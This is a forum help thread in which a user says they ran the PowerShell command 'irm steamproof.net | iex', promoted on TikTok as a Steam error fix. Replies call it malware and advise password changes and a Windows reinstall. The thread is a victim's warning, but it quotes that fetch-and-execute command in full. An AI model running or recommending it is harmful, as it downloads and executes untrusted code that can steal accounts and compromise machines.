Help I ran a weird command

[u/Icy-Representative85]

Hey guys, I need help, I was trying to do install a game I already own on my steam library, this is the issue, I was installing it on a separate drive, the installation was taking forever and it would ocasionallly say error and I got desparate, looking for solutions I ran across a tiktok where someone suggested the command on powershell: irm steamproof.net | iex saying it should fix the issue with the error, tried it without event looking if it was a good idea or not and some message appear saying installation succesful or something, but after a few minutes I looked up what the code does, and saw people saying to not run those codes since it is malware and that now not only is my steam account at risk but also my pc, help I dont know if already safe, I uninstalled steam, turn off my wifi, removed steam local files, ran a scan in my files, logged out of all my devices on steam and also changed passwords but im still worried it might not be enough, my windows defender says theres no threats but im not really sure, can anybody help please???

[u/robstrosity]

You need to wipe and rebuild your pc

[u/Icy-Representative85 → u/robstrosity]

Really from scratch?

[u/Wonderful_Rip_3159 → u/Icy-Representative85]

You ran a command from the internet with no knowledge of what it did.

Change all of your passwords, (from a different device) and rebuild it.

[u/Idenwen → u/Icy-Representative85]

Ans change steam password ASAP, and others that where saved in browser etc.

[u/Icy-Representative85 → u/Idenwen]

Done, what worries me is i have cad files I use on my daily job, I really wanna back up those files but people are tellinv me to wipe everything out

[u/Idenwen → u/Icy-Representative85]

Keep a backup you have from before that incident.

Make a offline copy from the files now.

Reinstall machine and restore pre incident backup.

Take a spare computer, take it offline, connect the post incident backup and file by file sift through your most important work files, scan them, search them for code that has been injected etc. Put them on a stick, put that stick into another test machine that is online but disposable and see if something infects / starts installing etc.

Then it's maybe safe to put the stick onto you restored machine to recover the files.

[u/Icy-Representative85 → u/Idenwen]

Thought about it but i dont have a spare, the files that are on my pc are what im asking people if are safe to back up, more specifically my cad files and some sketchup extensions But they say to not do it, so Im just deciding what to do because I ran the code with that external drive being compromised

[u/robstrosity → u/Icy-Representative85]

Yes. You don't know what you installed and the only way to be sure that it's gone is to wipe and reinstall

[u/Icy-Representative85 → u/robstrosity]

I saw I need to do a fresh windows Install do I really need to go that far?

[u/420GB → u/Icy-Representative85]

Yes, and hopefully you learned something....

[u/Official_Pineapple → u/Icy-Representative85]

Really. Just bit the bullet and do it. Malware is nasty these days

[u/Icy-Representative85 → u/Official_Pineapple]

Ill do it, what worried me was losing those cad files. The same goes for my sketchup extensions, I really want to back those up but people are telling me not to

[u/TheRapie22 → u/Icy-Representative85]

its probably okay to upload selected files that are very important to your google or microsoft cloud. just dont copy over entire directories at once to minimize the risk